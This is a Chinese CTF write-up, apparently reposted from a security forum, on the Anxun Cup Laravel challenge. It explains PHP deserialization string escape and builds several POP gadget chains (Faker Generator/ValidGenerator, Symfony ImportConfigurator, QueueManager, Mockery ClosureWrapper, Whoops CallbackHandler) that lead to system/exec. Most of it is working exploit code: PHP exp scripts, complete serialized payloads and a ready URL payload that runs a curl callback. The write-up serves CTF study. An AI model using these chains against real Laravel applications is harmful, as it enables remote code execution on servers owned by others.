先知社區:https://xz.aliyun.com/t/8296
最近的安洵杯又看到laravel
反序列化+字符逃逸,找人要了題拿出來舔一下,看題發現出題大哥一些鏈沒完全堵死,總結下這類題和laravel
中POP
鏈接的挖掘過程
個人水平較差、文中錯誤內容還請師傅們指教糾正。
這類題的一些Tips:
pravite 、Protected 屬性序列化差別
Private、Protected
屬性序列化和public
序列化稍有差異
example:
O:4:"test":3:{s:5:"test1";s:3:"aaa";s:8:"*test2";s:3:"aaa";s:11:"testtest3";s:3:"aaa";}
可以看到其中Private
的屬性序列化出來為%00類名%00成員名
,而protected
的屬性為%00*%00成員名
,所以這里``Private、protected`的長度都分別加了3和6。
這里輸出中不會輸出空字接,所以傳遞payload的時候需要將這里出現的空字節替換成%00
。
PHP 反序列化字符逃逸
出的也很多了不新奇了
題型參考安恆月賽Ezunserialize、強網2020web輔助、Joomla 的逃逸
拿安洵杯中的代碼:
<?php
error_reporting(E_ALL);
function read($data){
$data = str_replace('?', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '?', $data);
return $data;
}
class player{
protected $user;
public function __construct($user, $admin = 0){
$this->user = $user;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
這些題都會給一個"讀方法"和”寫方法“來對%00*%00
和\0*\0
之間進行替換。這里給的是\0*\0
和?
的替換,之間還是,一樣會吞並兩個位置留給我們字符逃逸
read
函數: 將?
替換為%00*%00
,將1個字符變成3個字符,write
則替換回來,多兩個字符空間
正常屬性:
加入????:
這里可以看到第三行user屬性的值變得非正常化了,s:8代表user屬性長度是8,所以它會向后取8個字符的位置,但是現在"qing\0*\0*\0*\0*\0"
它如果在這里里面取8個字符會取到qing\0*\0\0
,后面的就逃逸出來了,所以要想把pop鏈接的payload作為反序列化的一部分而非user
字符串值的一部分就需要構造合適數量的?
來進行逃逸。
簡單demo可以去看這個師傅的,這里不再敘述
關鍵字檢測、__wakup繞過、魔術方法調用
這些網上很多了 簡單貼一下
關鍵字檢測:
if(stristr($data, 'name')!==False){
die("Name Pass\n");
繞過:十六進制即可,\6e\61\6d\65
__wakeup()繞過
序列化字符串中表示對象屬性個數的值大於真實的屬性個數時會跳過wakeup的執行
一些魔術方法調用:
__wakeup() //使用unserialize時觸發
__sleep() //使用serialize時觸發
__destruct() //對象被銷毀時觸發
__call() //在對象上下文中調用不可訪問的方法時觸發
__callStatic() //在靜態上下文中調用不可訪問的方法時觸發
__get() //用於從不可訪問的屬性讀取數據
__set() //用於將數據寫入不可訪問的屬性
__isset() //在不可訪問的屬性上調用isset()或empty()觸發
__unset() //在不可訪問的屬性上使用unset()時觸發
__toString() //把類當作字符串使用時觸發
__invoke() //當腳本嘗試將對象調用為函數時觸發 把對象當作執行的時候會自動調用__invoke()
安洵杯laravel反序列化字符逃逸
拿到源碼重新配置下env和key等配置
入口:
app/Http/Controllers/DController.php
:
Controller類:
app/Http/Controllers/Controller.php
:
<?php
namespace App\Http\Controllers;
use Illuminate\Foundation\Bus\DispatchesJobs;
use Illuminate\Routing\Controller as BaseController;
use Illuminate\Foundation\Validation\ValidatesRequests;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
class Controller extends BaseController
{
use AuthorizesRequests, DispatchesJobs, ValidatesRequests;
}
function filter($string){
if(stristr($string, 'admin')!==False){
die("Name Pass\n");
}
return $string;
}
function read($data){
$data = str_replace('?', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '?', $data);
return $data;
}
class player{
protected $user;
public function __construct($user, $admin = 0){
$this->user = $user;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
都老套路就直接搜索哪里檢測了'admin'字符串吧:
搜了以下edit
沒有存在函數,那可能就是調用不存在的方法來調用__call()
laravel57\vendor\fzaninotto\faker\src\Faker\Generator.php
最重執行到getFormatter
函數:
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
...
public function format($formatter, $arguments = array())
{
$args = $this->getFormatter($formatter);
return $this->validG->format($args, $arguments);
}
...
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
getFormatter
函數發現沒啥戲,而format
函數中的 return $this->validG->format($args, $arguments);
,並且$this->validG
可控,繼續尋找下一位幸運兒
vendor/fzaninotto/faker/src/Faker/ValidGenerator.php #format
看到了call_user_func_array
了:
public function format($formatter, $arguments = array())
{
return call_user_func_array($formatter, $arguments);
}
編寫POP反序列exp:
以最后反序列化執行system()
為例:
如果要反序列執行危險函數比如system函數就要控制最后代碼執行函數call_user_func_array
的第一個參數$formatter
,而這個是$formatter
通過laravel57\vendor\fzaninotto\faker\src\Faker\Generator.php
的 return $this->validG->format($args, $arguments);
中format
函數的args
參數,此參數來自於getFormatter
函數的返回值,控制return $this->formatters[$formatter];
返回類似`system、shell_exec'之類即可。
getFormatter
對$this->providers
進行foreach取值,這個可控,傳入給getFormatter
函數的唯一參數$formatter
的值是為edit
這個字符串(最先調用Generator
類的edit這個不存在的方法,固會調用Generator
這個類的__call
並傳入edit參數),所以需要做的就是將$this->formatters建立一個含有'edit'
的鍵並鍵名為'system'
數組:
class Generator
{
protected $providers = array();
protected $formatters = array('edit'=>'system');
public function __construct($vaildG)
{
$this->validG = new $vaildG();
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
}
public function format($formatter, $arguments = array())
{
$args = $this->getFormatter($formatter);
return $this->validG->format($args, $arguments);
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}
最后在``vendor/fzaninotto/faker/src/Faker/ValidGenerator.php #format的
call_user_func_array中第二個參數
$arguments為執行
system函數的參數,由
laravel57\vendor\fzaninotto\faker\src\Faker\Generator.php的
format函數第二個參數控制,而format函數由此類的
__call調用,而
Generatorx的
Call由最開始的
PendingResourceRegistration`類的析構調用:
public function __destruct()
{
if($this->name='admin'){
$this->registrar->edit($this->controller);
}
}
所以這里的$this->controller
即為最后system函數傳入的參數,編寫:
namespace Illuminate\Routing\PendingResourceRegistration{
class PendingResourceRegistration
{
protected $registrar;
protected $name = "admi\6e";
protected $controller = 'curl http://127.0.0.1:8833/qing';
protected $options = array('test');
public function __construct($registrar)
{
$this->registrar = $registrar;
}
public function __destruct()
{
if($this->name='admin'){
$this->registrar->edit($this->controller);
}
}
}
}
至於這里對於name屬性的判斷,十六進制改一下字符就行,老套路了。
最終exp:
寫鏈接的時候私有屬性賦值別漏寫了,上面說的pravite 、Protected
記得替換00
<?php
namespace Illuminate\Routing{
class PendingResourceRegistration
{
protected $registrar;
protected $name = "admi\\6e";
protected $controller = 'curl http://127.0.0.1:8833/qing';
protected $options = array('test');
public function __construct($registrar)
{
$this->registrar = $registrar;
}
}
}
namespace Faker{
class Generator
{
protected $providers = array();
protected $formatters = array('edit'=>'system');
public function __construct($vaildG)
{
$this->validG = new $vaildG();
}
}
class ValidGenerator
{
protected $validator;
protected $maxRetries;
protected $generator = null;
public function __construct( $validator = null, $maxRetries = 10000)
{
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
}
namespace {
error_reporting(E_ALL);
$test = new Illuminate\Routing\PendingResourceRegistration(new Faker\Generator("Faker\ValidGenerator"));
echo serialize($test);}
再加上前面說的字符串逃逸的套路填充下逃逸字符即可。
最后字符串逃逸處理:
加上新增反序列屬性部分和結尾的}
來完成閉合,然后現在文本中的%00實際只能占一個字符但是文本中顯示3個字符,替換成空格計算一下長度,最后再替換回去:
如果發現是單數可以把屬性名加一位湊成442 ,這里我把屬性名設置為qingx
正好是偶數,?
和\0*\0之間會吞兩個字符,所以前面?的數量為221
payload:
http://www.laravel57.com/task?task=?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????";s:5:"qingx";O:46:"Illuminate\Routing\PendingResourceRegistration":4:{s:12:"%00*%00registrar";O:15:"Faker\Generator":3:{s:12:"%00*%00providers";a:0:{}s:13:"%00*%00formatters";a:1:{s:4:"edit";s:6:"system";}s:6:"validG";O:20:"Faker\ValidGenerator":3:{s:12:"%00*%00validator";N;s:13:"%00*%00maxRetries";i:10000;s:12:"%00*%00generator";N;}}s:7:"%00*%00name";s:7:"admi\6e";s:13:"%00*%00controller";s:31:"curl http://127.0.0.1:8833/qing";s:10:"%00*%00options";a:1:{i:0;s:4:"test";}}}
非預期解 +laravel反序列化POP鏈接挖掘
找鏈還是從起點開始 比如常見的析構和__wakeup
看題大哥還是封了一些的 不過有的還是可以做
laravel57\vendor\symfony\routing\Loader\Configurator\ImportConfigurator.php
__destruct
:
class ImportConfigurator
{
use Traits\RouteTrait;
private $parent;
public function __construct(RouteCollection $parent, RouteCollection $route)
{
$this->parent = $parent;
$this->route = $route;
}
public function __destruct()
{
$this->parent->addCollection($this->route);
}
...
發現\laravel57\vendor\symfony\routing\RouteCollection.php
的addCollection
然而這條路我找了並沒有走通,有師傅這條走通的麻煩指點一下
public function addCollection(self $collection)
{
// we need to remove all routes with the same names first because just replacing them
// would not place the new route at the end of the merged array
foreach ($collection->all() as $name => $route) {
unset($this->routes[$name]);
$this->routes[$name] = $route;
}
foreach ($collection->getResources() as $resource) {
$this->addResource($resource);
}
}
回到搜索addCollection
,走不動就調__call
函數,其實這里就可以結合上面鏈的
結合原題中的__call方法POP鏈
laravel57\vendor\fzaninotto\faker\src\Faker\Generator.php的
__call`函數:
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
...
public function format($formatter, $arguments = array())
{
$args = $this->getFormatter($formatter);
return $this->validG->format($args, $arguments);
}
...
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
區別就是這里是調用 addCollection
函數,所以傳遞給__call
函數的第一個參數就是 addCollection
,而$this->route = $route
為傳入__call
函數的第二個參數,最后構造laravel57\vendor\fzaninotto\faker\src\Faker\Generator.php
中的$this->formatters
數組中含有addCollection
鍵值指向調用的危險函數名即可,做法參照上面的exp,不再敘述。
注意Symfony\Component\Routing\Loader\Configurator\ImportConfigurator
中的$parent
替換成%00
+Symfony\Component\Routing\Loader\Configurator\ImportConfigurator
+%00
exp中刪除方法和進行字符串逃逸部分不再敘述
exp2:
<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator
{
private $parent;
public function __construct($parent)
{
$this->parent = $parent;
$this->route = 'curl http://127.0.0.1:8833/qing';
}
}
}
namespace Faker{
class Generator
{
protected $providers = array();
protected $formatters = array('addCollection'=>'system');
public function __construct($vaildG)
{
$this->validG = new $vaildG();
}
}
class ValidGenerator
{
protected $validator;
protected $maxRetries;
protected $generator = null;
public function __construct( $validator = null, $maxRetries = 10000)
{
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
}
namespace {
error_reporting(E_ALL);
$test = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\Generator("Faker\ValidGenerator"));
echo serialize($test);}
O:64:"Symfony\Component\Routing\Loader\Configurator\ImportConfigurator":2:{s:72:"%00Symfony\Component\Routing\Loader\Configurator\ImportConfigurator%00parent";O:15:"Faker\Generator":3:{s:12:"%00*%00providers";a:0:{}s:13:"%00*%00formatters";a:1:{s:13:"addCollection";s:6:"system";}s:6:"validG";O:20:"Faker\ValidGenerator":3:{s:12:"%00*%00validator";N;s:13:"%00*%00maxRetries";i:10000;s:12:"%00*%00generator";N;}}s:5:"route";s:31:"curl http://127.0.0.1:8833/qing";}
原生POP鏈挖掘
回到前面傳入addCollection
參數調用__call
這步:
搜索發現\laravel57\vendor\laravel\framework\src\Illuminate\Database\DatabaseManager.php
的call,沒發現什么特別但是調用了自己的connection
public function connection($name = null)
{
$name = $name ?: $this->getDefaultDriver();
// If the connection has not been resolved yet we will resolve it now as all
// of the connections are resolved when they are actually needed so we do
// not make any unnecessary connection to the various queue end-points.
if (! isset($this->connections[$name])) {
$this->connections[$name] = $this->resolve($name);
$this->connections[$name]->setContainer($this->app);
}
return $this->connections[$name];
}
繼續瞅瞅getDefaultDriver
、resolve
、setContainer
這幾個方法,發現一處call_user_func
:
protected function resolve($name)
{
$config = $this->getConfig($name);
return $this->getConnector($config['driver'])
->connect($config)
->setConnectionName($name);
}
//跟進getConnector:
protected function getConnector($driver)
{
if (! isset($this->connectors[$driver])) {
throw new InvalidArgumentException("No connector for [$driver]");
}
return call_user_func($this->connectors[$driver]);
}
在跟到getConnector
方法的時候發現其中的call_user_func
函數的參數由$this->connectors[$driver]
控制,而這個我們是可以構造來控制的,固可以利用這處來RCE.
構造的時候可以把$this->connectors[$driver]
分兩個部分構造,一個構造$driver部分,一個構造$this->connectors
部分
先看$driver
:
可以看到$this->connectors[$driver]
其中的$driver
是在resolve
函數中return $this->getConnector($config['driver'])
傳遞的,所以要去找$config,而$config
為$config = $this->getConfig($name);
得到:
protected function getConfig($name)
{
if (! is_null($name) && $name !== 'null') {
return $this->app['config']["queue.connections.{$name}"];
}
return ['driver' => 'null'];
}
這里可以看到函數返回值$this->app['config']["queue.connections.{$name}"];
賦值給$config
,取的是app屬性(三維數組)中config
對應的數組下鍵值‘queue.connections.{$name}’對應的數組。app
而又在構造函數賦值:
class QueueManager implements FactoryContract, MonitorContract
{
...
public function __construct($app)
{
$this->app = $app;
}
所以編寫exp中讓app三維數組中config
指向的數組其中存在‘connections.{$name}’鍵值指向的數組中含有driver鍵值即可
class QueueManager
{
protected $app;
protected $connectors;
public function __construct($func, $param) {
$this->app = [
'config'=>[
'queue.connections.qing'=>[
'driver'=>'qing'
],
]
];
}
}
再來看$this->connectors
:
因為最后指向call_user_func($this->connectors[$driver]);
的地方是在$this->connectors
數組中取出來的值來指向,比如上面的$driver變量定義的字符串是qing
,那這里定義connectors數組中增加一個這樣的鍵值即可:
class QueueManager
{
public function __construct($func, $param) {
$this->app = [
'config'=>[
'queue.connections.qing'=>[
'driver'=>'qing'
],
]
];
$this->connectors = [
'qing'=>[
xxx
]
];
}
}
call_user_func($this->connectors[$driver]);
這里都可以控制了,固到這一步現在可以調用任意函數或者任意類的任意函數了,傻瓜式找一個類有危險函數的:
\laravel57\vendor\mockery\mockery\library\Mockery\ClosureWrapper.php
這里傳入closure參數為執行的函數,func_get_args()
為執行函數傳入的參數 ,調用這個類的__invoke
即可
編寫exp:
<?php
namespace Mockery {
class ClosureWrapper
{
private $closure;
public function __construct($closure)
{
$this->closure = $closure;
}
public function __invoke()
{
return call_user_func_array($this->closure, func_get_args());
}
}
}
namespace Illuminate\Queue {
class QueueManager
{
protected $app;
protected $connectors;
public function __construct($a, $b) {
$this->app = [
'config'=>[
'queue.default'=>'qing',
'queue.connections.qing'=>[
'driver'=>'qing'
],
]
];
$obj = new \Mockery\ClosureWrapper("phpinfo");
$this->connectors = [
'qing'=>[
$obj, "__invoke"
]
];
}
}
}
namespace Symfony\Component\Routing\Loader\Configurator {
class ImportConfigurator
{
private $parent;
private $route;
public function __construct($a,$b)
{
$this->parent = new \Illuminate\Queue\QueueManager($a);
$this->route = null;
}
}
}
namespace {
error_reporting(E_ALL);
$test = new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator("qing","qing");
echo serialize($test);}
O:64:"Symfony\Component\Routing\Loader\Configurator\ImportConfigurator":2:{s:72:"%00Symfony\Component\Routing\Loader\Configurator\ImportConfigurator%00parent";O:29:"Illuminate\Queue\QueueManager":2:{s:6:"%00*%00app";a:1:{s:6:"config";a:2:{s:13:"queue.default";s:4:"qing";s:22:"queue.connections.qing";a:1:{s:6:"driver";s:4:"qing";}}}s:13:"%00*%00connectors";a:1:{s:4:"qing";a:2:{i:0;O:22:"Mockery\ClosureWrapper":1:{s:31:"%00Mockery\ClosureWrapper%00closure";s:7:"phpinfo";}i:1;s:8:"__invoke";}}}s:71:"%00Symfony\Component\Routing\Loader\Configurator\ImportConfigurator%00route";N;}
發現phpinfo一閃而過,但這里沒辦法傳入執行函數的參數。
如果有師傅這里能執行任意參數的函數麻煩帶帶
這里因為有__invoke,我本想着把傳入類似實例化對象當作函數執行的地址來傳入參數發現都是沒地址返回,折折騰騰半天這條路子就放棄了,如果要執行有參函數,目前用Mockery類無法完成,只有尋找其他類
\laravel57\vendor\filp\whoops\src\Whoops\Handler\CallbackHandler.php
:
public function __construct($callable)
{
if (!is_callable($callable)) {
throw new InvalidArgumentException(
'Argument to ' . __METHOD__ . ' must be valid callable'
);
}
$this->callable = $callable;
}
/**
* @return int|null
*/
public function handle()
{
$exception = $this->getException();
$inspector = $this->getInspector();
$run = $this->getRun();
$callable = $this->callable;
// invoke the callable directly, to get simpler stacktraces (in comparison to call_user_func).
// this assumes that $callable is a properly typed php-callable, which we check in __construct().
return $callable($exception, $inspector, $run);
}
翻到CallbackHandler
這個類時候發現完全符合條件,並且在包中原本的作用就是拿來回調的,固執行有參數的pop鏈接最后可以拿這個收尾
這里回調的地方:
public function handle()
{
$exception = $this->getException();
$inspector = $this->getInspector();
$run = $this->getRun();
$callable = $this->callable;
// invoke the callable directly, to get simpler stacktraces (in comparison to call_user_func).
// this assumes that $callable is a properly typed php-callable, which we check in __construct().
return $callable($exception, $inspector, $run);
}
發現函數名我們可以通過構造函數傳入,函數的第一個參數我們也可控,不過函數的第二個參數和第三個參數默認是給null,找了一下符合要求的執行函數:
綜上,exp3:
<?php
namespace Whoops\Handler{
abstract class Handler
{
private $run =null;
private $inspector =null;
private $exception =null;
}
class CallbackHandler extends Handler
{
protected $callable;
public function __construct($callable)
{
$this->callable = $callable;
}
}
}
namespace Illuminate\Queue {
class QueueManager
{
protected $app;
protected $connectors;
public function __construct($a) {
$this->app = [
'config'=>[
'queue.default'=>'qing',
'queue.connections.qing'=>[
'driver'=>'qing'
],
]
];
$obj = new \Whoops\Handler\CallbackHandler($a);
// $obj2 = $obj("curl http://127.0.0.1:8833/qing");
$this->connectors = [
'qing'=>[
$obj,'handle'
]
];
}
}
}
namespace Symfony\Component\Routing\Loader\Configurator {
class ImportConfigurator
{
private $parent;
private $route;
public function __construct($a, $b)
{
$this->parent = new \Illuminate\Queue\QueueManager($a);
$this->route = null;
}
}
}
namespace {
error_reporting(E_ALL);
$test = new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator("exec","qing");
echo serialize($test);}
END
Links:
https://www.cnblogs.com/Wanghaoran-s1mple/p/13160708.html